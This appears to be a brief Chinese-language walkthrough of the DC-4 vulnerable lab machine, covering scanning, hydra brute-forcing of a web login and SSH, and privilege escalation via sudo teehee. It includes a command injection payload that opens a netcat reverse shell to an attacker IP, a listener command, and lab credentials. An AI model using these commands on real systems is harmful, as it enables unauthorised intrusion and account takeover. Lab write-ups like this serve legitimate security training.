DC-4靶机

查看靶机的mac地址

使用kail扫描ip

扫描端口

目录扫描

访问IP

使用hydra进行爆破密码

hydra -l admin -P rockyou.txt 192.168.154.139 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

进行登录

使用burp进行抓包

查看/etc/passwd

进行反弹shell

radio=nc+-e/bin/bash+192.168.254.129+6768&
nc -lvnp 6768

进行提权

使用python3提升交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -l 但是不知道密码

jim目录下有密码字典 将字典下载下来 使用hydra进行爆破

hydra -L Username.txt -P old-passwords.bak ssh://192.168.254.153 
jim
jibril04

ssh连接jim

说有一封信在/var/mail

有charles密码就是^xHhA&hvim0y 切换到charles

sudo -l ,teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权